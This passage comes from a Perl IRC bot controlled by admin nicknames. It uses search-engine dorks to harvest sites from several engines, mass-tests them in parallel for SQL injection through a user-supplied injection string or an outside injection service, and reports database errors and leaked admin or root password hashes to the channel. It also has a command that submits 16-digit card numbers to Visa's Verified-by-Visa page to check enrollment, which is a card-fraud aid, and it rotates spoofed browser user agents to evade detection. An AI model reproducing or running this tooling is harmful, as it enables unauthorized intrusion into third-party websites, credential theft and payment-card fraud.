  1565.             my $qmsg = $1;
  1566.             if(&ctrl_admin(\%msg) == 0){
  1567.                 $irc_socket->write("quit ".$qmsg."\r\n");
  1568.            
  1569.         }
  1570.         }
  1571.  
  1572. ######################################################################
  1573. if($msg{'what'} =~ /\!vbbbbbbbbbbbbbv\s(\d{16})/)
  1574.         {
  1575.         my ($vbvcard) = ($1);
  1576.         &respond_to_privmsg(\%msg,"15[7CHECKiNG-VBV15] CHECKiNG... 07 -$vbvcard-  ");
  1577. #print "inizio mechanize\n";
  1578. my $agent = WWW::Mechanize->new( autocheck => 1 );
  1579. my $formfiller = WWW::Mechanize::FormFiller->new();
  1580. $agent->env_proxy();
  1581.  
  1582.  $agent->get('https://verified.visa.com/aam/data/default/landing.aam?partner=default&resize=yes');
  1583.   $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  1584.  $agent->form_number(1);
  1585.  { local $^W; $agent->current_form->value('pan', ''.$vbvcard.''); };
  1586. $agent->click('');
  1587.  #print $agent->content,"\n";
  1588. my $vbvall=$agent->content;
  1589.       open(FILE3,">>VBVPage.html") or die "$!";
  1590.       #print FILE3 "$vbvall\n";
  1591.            close FILE3;
  1592. if ($vbvall =~/scrn_2_hdr_text\.jpg/){
  1593.         &respond_to_privmsg(\%msg,"15[7CHECKiNG-VBV15] Verified By Visa for... 07 -$vbvcard-00  is not eligible");
  1594. }
  1595. #<form name="aam" method="post" action="
  1596. elsif ($vbvall =~/name=\"aam\" method=\"post\" action=\"https:\/\/(.*?)\//){
  1597.         &respond_to_privmsg(\%msg,"15[7CHECKiNG-VBV15] Verified By Visa for... 07 -$vbvcard-12  is Secured at $1 ");
  1598. }
  1599. elsif ($vbvall =~/action=\"https:\/\/(.*?)\//){
  1600.         &respond_to_privmsg(\%msg,"15[7CHECKiNG-VBV15] Verified By Visa for... 07 -$vbvcard-12  is Secured at $1 ");
  1601. }
  1602. #action="https://
  1603. }
  1604.  
  1605.         if($msg{'what'} =~ /\!check221 (.*)/)
  1606.         {
  1607.             my $website = $1;
  1608.             &respond_to_privmsg(\%msg,"15[7SERViCE15]11 CHECKiNG ");
  1609.                 my $agent = WWW::Mechanize->new( autocheck => 1 );
  1610.                 my $formfiller = WWW::Mechanize::FormFiller->new();
  1611.                 $agent->env_proxy();
  1612.  
  1613.                 $agent->get("http://nubiescript.com/demo/sqlinject/?mysql=1&vuln=1&link=$website");
  1614.                 $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  1615.                 $agent->submit();
  1616.             #print "ecco: $website--\n";
  1617.             if ($agent->content() =~/Database\: \<font color\=red\>(.*?)<\/font>/) {
  1618.             my $founddat = $1;
  1619.             &respond_to_privmsg(\%msg,"15[7SERViCE15]11 Database: ".$founddat."  ");
  1620.                 }if ($agent->content() =~ /Version\: \<font color\=red\>(.*?)<\/font>/) {
  1621.                 my $verfound = $1;
  1622.                 &respond_to_privmsg(\%msg,"15[7SERViCE15]11 Version: ".$verfound."  ");
  1623.                     }if ($agent->content() =~ /User\: \<font color\=red\>(.*?)<\/font>/) {
  1624.                     my $usefound = $1;
  1625.                     &respond_to_privmsg(\%msg,"15[7SERViCE15]11 User: ".$usefound."  ");
  1626.         } elsif ($agent->content() =~ /\Found over 50 columns \- scanning skipped\! Something is wrong/) {
  1627.         &respond_to_privmsg(\%msg,"15[7SERViCE15]11 Site not Vuln  ");
  1628.         }
  1629. }
  1630.         if($msg{'what'} =~ /\!securevuln (.*?) (.*)/)
  1631.         {
  1632.             my ($bugging,$dork) = ($1,$2);
  1633.             if(&ctrl_admin(\%msg) == 0){
  1634.                 my $pm = new Parallel::ForkManager($parallel_fork);
  1635.                 my $cnt_site = 0;
  1636.                 &respond_to_privmsg(\%msg,"15[7SQL15]12 DORK: ".$dork." ");
  1637.                 &respond_to_privmsg(\%msg,"15[7SQL15]12 BUGGiNG PAGE: ".$bugging." ");
  1638.                 my @results = &find_all_sites(\%msg,$dork);
  1639.                 foreach my $single_site ( @results )
  1640.                 {
  1641.                     $cnt_site += 1;
  1642.  
  1643.                 if($cnt_site %40 == 0)
  1644.                     {
  1645.                         &respond_to_privmsg(\%msg,"15[7TESTED15]12 YOU HAVE TESTED ".$cnt_site." of ".scalar(@results)." ");
  1646.                     }
  1647.                     $pm->start and next;
  1648.                         #forked
  1649.                         my $test_site  = "http://".$single_site . $bugging;
  1650.                         my $agent = WWW::Mechanize->new( autocheck => 1 );
  1651.                         my $formfiller = WWW::Mechanize::FormFiller->new();
  1652.                         $agent->env_proxy();
  1653.  
  1654.                         $agent->get("http://nubiescript.com/demo/sqlinject/?mysql=1&vuln=1&link=$test_site");
  1655.                         $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  1656.                          $agent->submit();
  1657.                     #print "ecco: $test_site--\n";
  1658.                             if ($agent->content() =~/Version\: \<font color\=red\>(.*?)<\/font>/) {
  1659.                             my $founddat = $1;
  1660.                             &respond_to_privmsg(\%msg,"15[7VULN-SECURE15]11 $single_site VERSION: ".$founddat."  ");
  1661.  
  1662.  
  1663. }
  1664.                         #end forked
  1665.  
  1666.                     $pm->finish;
  1667.                 }
  1668.                 $pm->wait_all_children;
  1669.                 &respond_to_privmsg(\%msg,"15[7FINISH15]12 YOU HAVE COMPLETED TEST ");
  1670.  
  1671.  
  1672.             }
  1673.         }
  1674.  
  1675.         if($msg{'what'} =~ /\!sql2 (.*?) (.*?) (.*)/)
  1676.         {
  1677.             my ($bug,$dork, $inj) = ($1,$2,$3);
  1678. chop($inj);
  1679.             if(&ctrl_admin(\%msg) == 0){
  1680.                 my $pm = new Parallel::ForkManager($parallel_fork);
  1681.                 my $cnt_site = 0;
  1682.                 &respond_to_privmsg(\%msg,"15[7SQL15]12 BUG: ".$bug." ");
  1683.                 &respond_to_privmsg(\%msg,"15[7SQL15]12 DORK: ".$dork." ");
  1684.                 &respond_to_privmsg(\%msg,"15[7SQL15]12 INJECTION-CODE: ".$inj." ");
  1685.                 my @results = &find_all_sites(\%msg,$dork);
  1686.                 foreach my $single_site ( @results )
  1687.                 {
  1688.                     $cnt_site += 1;
  1689.                     if($cnt_site %100 == 0)
  1690.                     {
  1691.                         &respond_to_privmsg(\%msg,"15[7TESTED15]12 YOU HAVE TESTED ".$cnt_site." of ".scalar(@results)." ");
  1692.                     }
  1693.                     $pm->start and next;
  1694.                         #forked
  1695.                         chop($single_site);
  1696.                         chop($single_site);
  1697.                         my $print_site = "http://".$single_site . $bug . $inj;
  1698.                         my $testodel_site = "http://".$single_site . $inj;
  1699.                        
  1700.                         my $html_site  = &http_request($testodel_site);
  1701.                         if($html_site  =~ /sql syntax/)
  1702.                         {
  1703.                             &respond_to_privmsg(\%msg,"15[7SQL_VULN15]12 LINK: ".$print_site." ");
  1704.  
  1705.                     }
  1706.                         elsif($html_site  =~ /sql error/)
  1707.                         {
  1708.                             &respond_to_privmsg(\%msg,"15[7SQL_VULN15]12 LINK: ".$print_site." ");
  1709.                         }
  1710.  
  1711.                         elsif($html_site  =~ /right syntax to use near/)
  1712.                         {
  1713.                             &respond_to_privmsg(\%msg,"15[7SQL_VULN15]12 LINK: ".$print_site." ");
  1714.                         }
  1715.                         elsif($html_site  =~ /syntax error converting/)
  1716.                         {
  1717.                             &respond_to_privmsg(\%msg,"15[7SQL_VULN15]12 LINK: ".$print_site." ");
  1718.                         }
  1719.                                                elsif($html_site  =~ /number of columns/)
  1720.                                                {
  1721.                                                        &respond_to_privmsg(\%msg,"15[7SQL_VULN15]12 LINK: ".$print_site." ");
  1722.                                                }
  1723.  
  1724.                         elsif($html_site  =~ /unclosed quotation/)
  1725.                         {
  1726.                             &respond_to_privmsg(\%msg,"15[7SQL_VULN15]12 LINK: ".$print_site." ");
  1727.                         }
  1728.                                                elsif($html_site  =~ /admin\:\w{32}/)
  1729.                                                {
  1730.                                                        &respond_to_privmsg(\%msg,"15[7SQL_VULN_09admin15]12 LINK: ".$print_site." ");
  1731.                                                }
  1732.                                                elsif($html_site  =~ /administrator\:\w{32}/)
  1733.                                                {
  1734.                                                        &respond_to_privmsg(\%msg,"15[7SQL_VULN_09admin15]12 LINK: ".$print_site." ");
  1735.                                                }
  1736.                                                elsif($html_site  =~ /root\:\w{32}/)
  1737.                                                {
  1738.                                                        &respond_to_privmsg(\%msg,"15[7SQL_VULN_09root15]12 LINK: ".$print_site." ");
  1739.                                                }
  1740.                                                elsif($html_site  =~ /Invalid argument supplied for foreach/)
  1741.                                                {
  1742.                                                        &respond_to_privmsg(\%msg,"15[7SQL_VULN_15]12 LINK: ".$print_site." ");
  1743.                                                }
  1744.  
  1745.                         #end forked
  1746.  
  1747.                     $pm->finish;
  1748.                 }
  1749.                 $pm->wait_all_children;
  1750.                 &respond_to_privmsg(\%msg,"15[7FINISH15]12 YOU HAVE COMPLETED TEST ");
  1751.             }
  1752.         }
  1753.    
  1754. sub ctrl_admin()
  1755. {
  1756.     my $data = $_[0];
  1757.     foreach my $admin ( GUJJAR_FRIENDS )
  1758.     {
  1759.         if($admin eq $data->{'from'})
  1760.         {
  1761.             return(0);
  1762.         }
  1763.     }
  1764.     &respond_to_privmsg($data,"15[4BLOCK15]1 YOU ARE NOT ADMIN");
  1765.     return(-1);
  1766. }
  1767.  
  1768. sub respond_to_privmsg()
  1769. {
  1770.     my ($data,$m) = ($_[0],$_[1]);
  1771.     if($data->{'to'} =~ /#/)
  1772.     {
  1773.         &privmsg($data->{'to'},$m);
  1774.     }
  1775.     else
  1776.     {
  1777.         &privmsg($data->{'from'},$m);
  1778.     }
  1779. }
  1780.  
  1781. sub privmsg()
  1782. {
  1783.     my($nick,$send) = @_;
  1784.     $irc_socket ->write("PRIVMSG ".$nick." :".$send."\r\n");
  1785. }
  1786.  
  1787. sub unique()
  1788. {
  1789.     my @unici = ();
  1790.     my %visti = ();
  1791.     foreach my $elemento (@_) {
  1792.         $elemento =~ s/\/+/\//g;
  1793.         next if $visti{$elemento}++;
  1794.         push @unici, $elemento;
  1795.     }
  1796.     return @unici;
  1797. }
  1798.  
  1799.  
  1800. sub find_all_sites()
  1801. {
  1802.     my ($data,$dork)  =  @_;
  1803.     my $tmp_file_name =  rand(999999) . ".txt";
  1804.     my @pids_array    =  ();
  1805.     my @data_links    =  ();
  1806.     my @site_finded   =  ();
  1807.     my @site_cleaned  =  ();
  1808.     $dork             =~ s/[\r\n]//g;
  1809.    
  1810.     &respond_to_privmsg($data,"15[7INFO15]12 START TO FIND ALL SITES FOR \"".$dork."\" ");
  1811.  
  1812.     $pids_array[0] = fork();
  1813.     if($pids_array[0] == 0)
  1814.     {
  1815.         @data_links = &google($dork);
  1816.         &respond_to_privmsg($data,"15[7GOOGLE15]12 TOTAL SITES FINDED: ".scalar(@data_links)." ");
  1817.         &write_to_file_array($tmp_file_name,\@data_links,scalar(@data_links));
  1818.         exit(0);
  1819.     }
  1820.    
  1821.     $pids_array[1] = fork();
  1822.     if($pids_array[1] == 0)
  1823.     {
  1824.         @data_links = &yahoo($dork);
  1825.         &respond_to_privmsg($data,"15[7YAHOO15]12 TOTAL SITES FINDED: ".scalar(@data_links)." ");
  1826.         &write_to_file_array($tmp_file_name,\@data_links,scalar(@data_links));
  1827.         exit(0);
  1828.     }
  1829.    
  1830.     $pids_array[2] = fork();
  1831.     if($pids_array[2] == 0)
  1832.     {
  1833.         @data_links = &altavista($dork);
  1834.         &respond_to_privmsg($data,"15[7ALTAVISTA15]12 TOTAL SITES FINDED: ".scalar(@data_links)." ");
  1835.         &write_to_file_array($tmp_file_name,\@data_links,scalar(@data_links));
  1836.         exit(0);
  1837.     }
  1838.    
  1839.     $pids_array[3] = fork();
  1840.     if($pids_array[3] == 0)
  1841.     {
  1842.         @data_links = &msn($dork);
  1843.         &respond_to_privmsg($data,"15[7BiNG15]12 TOTAL SITES FINDED: ".scalar(@data_links)." ");
  1844.         &write_to_file_array($tmp_file_name,\@data_links,scalar(@data_links));
  1845.         exit(0);
  1846.     }
  1847.  
  1848.     $pids_array[4] = fork();
  1849.     if($pids_array[4] == 0)
  1850.     {
  1851.         @data_links = &ask($dork);
  1852.         &respond_to_privmsg($data,"15[7ASK.COM15]12 TOTAL SITES FINDED: ".scalar(@data_links)." ");
  1853.         &write_to_file_array($tmp_file_name,\@data_links,scalar(@data_links));
  1854.         exit(0);
  1855.     }
  1856.  
  1857.     $pids_array[5] = fork();
  1858.     if($pids_array[5] == 0)
  1859.     {
  1860.         @data_links = &webcrawler($dork);
  1861.         &respond_to_privmsg($data,"15[7WEBCRAWLER15]12 TOTAL SITES FINDED: ".scalar(@data_links)." ");
  1862.         &write_to_file_array($tmp_file_name,\@data_links,scalar(@data_links));
  1863.         exit(0);
  1864.     }
  1865.    
  1866.     foreach my $pid_one ( @pids_array )
  1867.     {
  1868.         waitpid($pid_one,0);
  1869.     }
  1870.    
  1871.     @site_finded = &read_all_file_array($tmp_file_name);
  1872.     &respond_to_privmsg($data,"15[7INFO15]12 TOTAL SITES FINDED: ".scalar(@site_finded)." ");
  1873.     @site_cleaned = &unique(@site_finded);
  1874.     &respond_to_privmsg($data,"15[7INFO15]12 CLEANED SITES FINDED: ".scalar(@site_cleaned)." ");
  1875.     unlink($tmp_file_name);
  1876.     return(@site_cleaned);
  1877. }
  1878.  
  1879. sub join_all()
  1880. {
  1881.     foreach my $chan ( @chans )
  1882.     {
  1883.         $irc_socket->write("JOIN ".$chan."\r\n");
  1884.     }
  1885. }
  1886.  
  1887. sub get_msg()
  1888. {
  1889.     my $line = $_[0];
  1890.     my %data;
  1891.     #:Mic22!~Chungrynebauib-E4537V88.megacable.org.mx PRIVMSG chkbot :hi
  1892.     if($line =~ /:(.*?)!(.*?) PRIVMSG (.*?) :(.*)/)
  1893.     {
  1894. #$irc_socket->write("PRIVMSG #MC : Spammer=> $1 Mess=> $4 \r\n");
  1895.         $data{'from'} = $1;
  1896.         $data{'to'}   = $3;
  1897.         $data{'what'} = $4;
  1898.     }
  1899.     return(%data);
  1900. }
  1901.  
  1902. sub http_request()
  1903. {
  1904.     my($site,$request,$ua,$resp,$cnt);
  1905.     $site    =  $_[0];
  1906.     $site    =~ s/[\r\n]//g;  
  1907.     $request =  HTTP::Request->new(GET => $site);
  1908.     $ua      =  LWP::UserAgent->new(agent => $user_agents[rand(scalar(@user_agents))]);
  1909.     $ua->timeout($timeout);
  1910.     $resp    =  $ua->request($request);
  1911.     $cnt     =  $resp->content();
  1912.     return($cnt);
  1913. }
  1914.  
  1915. sub Agent(){
  1916.    my @ret = (
  1917.    "Microsoft Internet Explorer/4.0b1 (Windows 95)",
  1918.    "Mozilla/1.22 (compatible; MSIE 1.5; Windows NT)",
  1919.    "Mozilla/1.22 (compatible; MSIE 2.0; Windows 95)",
  1920.    "Mozilla/2.0 (compatible; MSIE 3.01; Windows 98)",
  1921.    "Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.9 sun4u; X11)",
  1922.    "Mozilla/4.0 (compatible; MSIE 5.17; Mac_PowerPC)",
  1923.    "Mozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC)",
  1924.    "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)",
  1925.    "Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98)",
  1926.    "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
  1927.    "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)",
  1928.    "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727)",
  1929.    "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)",
  1930.    "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)",
  1931.    "Mozilla/4.0 (compatible; MSIE 7.0b; Win32)",
  1932.    "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)",
  1933.    "Microsoft Pocket Internet Explorer/0.6",
  1934.    "Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320)",
  1935.    "MOT-MPx220/1.400 Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Smartphone;",
  1936.    "Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.1; Windows NT 5.1;)",
  1937.    "Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.1;)",
  1938.    "Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)",
  1939.    "Advanced Browser (http://www.avantbrowser.com)",
  1940.    "Avant Browser (http://www.avantbrowser.com)",
  1941.    "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)",
  1942.    "Mozilla/5.0 (compatible; Konqueror/3.1-rc3; i686 Linux; 20020515)",
  1943.    "Mozilla/5.0 (compatible; Konqueror/3.1; Linux 2.4.22-10mdk; X11; i686; fr, fr_FR)",
  1944.    "Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007",
  1945.    "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511",
  1946.    "Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.7.12) Gecko/20050929",
  1947.    "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl-NL; rv:1.7.5) Gecko/20041202 Firefox/1.0",
  1948.    "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.6) Gecko/20050512 Firefox",
  1949.    "Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.8) Gecko/20050609 Firefox/1.0.4",
  1950.    "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5",
  1951.    "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6",
  1952.    "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-GB; rv:1.7.10) Gecko/20050717 Firefox/1.0.6",
  1953.    "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7",
  1954.    "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7",
  1955.    "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4",
  1956.    "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4",
  1957.    "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8) Gecko/20051107 Firefox/1.5",
  1958.    "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1",
  1959.    "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1",
  1960.    "Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.9a1) Gecko/20051002 Firefox/1.6a1",
  1961.    "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1",
  1962.    "Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1",
  1963.    "Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1b2) Gecko/20060710 Firefox/2.0b2",
  1964.    "Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20060918 Firefox/2.0",
  1965.    "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051219 SeaMonkey/1.0b",
  1966.    "Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0",
  1967.    "Mozilla/3.0 (OS/2; U)",
  1968.    "Mozilla/3.0 (X11; I; SunOS 5.4 sun4m)",
  1969.    "Mozilla/4.61 (Macintosh; I; PPC)",
  1970.    "Mozilla/4.61 [en] (OS/2; U)",
  1971.    "Mozilla/4.7C-CCK-MCD {C-UDP; EBM-APPLE} (Macintosh; I; PPC)",
  1972.    "Mozilla/4.8 [en] (Windows NT 5.0; U)" );
  1973. return(@ret);
  1974. }
  1975.  
  1976. sub get_user_agents()
  1977. {
  1978.     my @us_ag = (
  1979.     "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511",
  1980.     "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1",
  1981.     "Opera/8.5 (X11; Linux i686; U; cs)",
  1982.     "Microsoft Internet Explorer/4.0b1 (Windows 95)",
  1983.    "Mozilla/1.22 (compatible; MSIE 1.5; Windows NT)",
  1984.    "Mozilla/1.22 (compatible; MSIE 2.0; Windows 95)",
  1985.    "Mozilla/2.0 (compatible; MSIE 3.01; Windows 98)",
  1986.    "Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.9 sun4u; X11)",
  1987.    "Mozilla/4.0 (compatible; MSIE 5.17; Mac_PowerPC)",
  1988.    "Mozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC)",
  1989.    "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)",
  1990.    "Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98)",
  1991.    "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
  1992.    "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)",
  1993.    "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727)",
  1994.    "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)",
  1995.    "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)",
  1996.    "Mozilla/4.0 (compatible; MSIE 7.0b; Win32)",
  1997.    "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)",
  1998.    "Microsoft Pocket Internet Explorer/0.6",
  1999.    "Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320)",
  2000.    "MOT-MPx220/1.400 Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Smartphone;",
  2001.    "Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.1; Windows NT 5.1;)",
  2002.    "Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.1;)",
  2003.    "Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)",
  2004.    "Advanced Browser (http://www.avantbrowser.com)",
  2005.    "Avant Browser (http://www.avantbrowser.com)",
  2006.    "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)",
  2007.    "Mozilla/5.0 (compatible; Konqueror/3.1-rc3; i686 Linux; 20020515)",
  2008.    "Mozilla/5.0 (compatible; Konqueror/3.1; Linux 2.4.22-10mdk; X11; i686; fr, fr_FR)",
  2009.    "Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007",
  2010.    "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511",
  2011.    "Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.7.12) Gecko/20050929",
  2012.    "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl-NL; rv:1.7.5) Gecko/20041202 Firefox/1.0",
  2013.    "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.6) Gecko/20050512 Firefox",
  2014.    "Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.8) Gecko/20050609 Firefox/1.0.4",
  2015.    "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5",
  2016.    "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6",
  2017.    "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-GB; rv:1.7.10) Gecko/20050717 Firefox/1.0.6",
  2018.    "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7",
  2019.    "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7",
  2020.    "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4",
  2021.    "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4",
  2022.    "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8) Gecko/20051107 Firefox/1.5",
  2023.    "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1",
  2024.    "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1",
  2025.    "Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.9a1) Gecko/20051002 Firefox/1.6a1",
  2026.    "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1",
  2027.    "Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1",
  2028.    "Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1b2) Gecko/20060710 Firefox/2.0b2",
  2029.    "Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20060918 Firefox/2.0",
  2030.    "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051219 SeaMonkey/1.0b",
  2031.    "Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0",
  2032.    "Mozilla/3.0 (OS/2; U)",
  2033.    "Mozilla/3.0 (X11; I; SunOS 5.4 sun4m)",
  2034.    "Mozilla/4.61 (Macintosh; I; PPC)",
  2035.    "Mozilla/4.61 [en] (OS/2; U)",
  2036.    "Mozilla/4.7C-CCK-MCD {C-UDP; EBM-APPLE} (Macintosh; I; PPC)",
  2037.    "Mozilla/4.8 [en] (Windows NT 5.0; U)",
  2038.     "Links (2.1pre17; Linux 2.6.11-gentoo-r8 i686; 80x24)"
  2039.     );
  2040.     return(@us_ag);
  2041. }
  2042.  
  2043. sub get_all_host()
  2044. {
  2045.     my $site =  $_[0];
  2046.     my @dirs =  ();
  2047.     my @ret  =  ();
  2048.     my $tmp  =  "";
  2049.     $site    =~ s/http:\/\///g;
  2050.     $site    =~ s/[\r\n]//g;
  2051.     $site    =~ s/\/\///g;
  2052.     if($site !~ /\/$/)
  2053.     {
  2054.         $site .= "/";
  2055.     }
  2056.  
  2057.     @dirs = split(/\//,$site);
  2058.     $tmp = $dirs[0] . "/";
  2059.     push(@ret,$tmp);
  2060.    
  2061.     for($i = 1; $i < scalar(@dirs); $i++)
  2062.     {
  2063.         $tmp .= $dirs[$i] . "/";
  2064.         push(@ret,$tmp);
  2065.     }
  2066.    
  2067.     return(@ret);
  2068. }
  2069.  
  2070.  
  2071. sub urlencode()
  2072. {
  2073.  my $str = $_[0];
  2074.  $str =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;
  2075.  return $str;
  2076. }
  2077.  
  2078.  
  2079. sub read_all_file_array()
  2080. {
  2081.     my $file = $_[0];
  2082.     my @ret  = ();
  2083.  
  2084.     open(FILE,'<',$file);
  2085.     while($a = <FILE>)
  2086.     {
  2087.         $a =~ s/[\r\n]//g;
  2088.         push(@ret,$a);
  2089.     }
  2090.     close(FILE);
  2091.    
  2092.     return(@ret);
  2093. }
  2094.  
  2095. sub write_to_file_array()
  2096. {
  2097.     my ($file,$data,$scal) = @_;
  2098.     for($i = 0; $i < $scal; $i++)
  2099.     {
  2100.         &write_to_file($file,$data->[$i]);
  2101.     }
  2102. }
  2103.  
  2104. sub canghecmd()
  2105.  
  2106. {
  2107.  
  2108.     my $n = $_[0];
  2109.  
  2110.     push(@botcmd,$n);
  2111.  
  2112. }
  2113.  
  2114. sub google()
  2115.  
  2116. {
  2117.  
  2118.     my $dork    = &urlencode($_[0]);
  2119.  
  2120.     my $html    = "";
  2121.  
  2122.     my @results = ();
  2123.  
  2124.     my @unique_links = ();
  2125.  
  2126.    
  2127.  
  2128.     for($i = 0; $i < 300; $i += 100)
  2129.  
  2130.     {
  2131.  
  2132.         $html .= &http_request("http://www.google.it/search?q=".$dork."&hl=it&pwst=1&start=".$i."&num=100&sa=N");
  2133.  
  2134.     }
  2135.  
  2136.    
  2137.  
  2138.     while($html =~ m/<li class=g><h3 class=r><a href=\"http:\/\/(.+?)\" class=l/g)
  2139.  
  2140.     {
  2141.  
  2142.         my @tmp_link = &get_all_host($1);
  2143.  
  2144.         push(@results,@tmp_link);
  2145.  
  2146.     }
  2147.  
  2148.    
  2149.  
  2150.     @unique_links = &unique(@results);
  2151.  
  2152.  
  2153.  
  2154.     return(@unique_links);
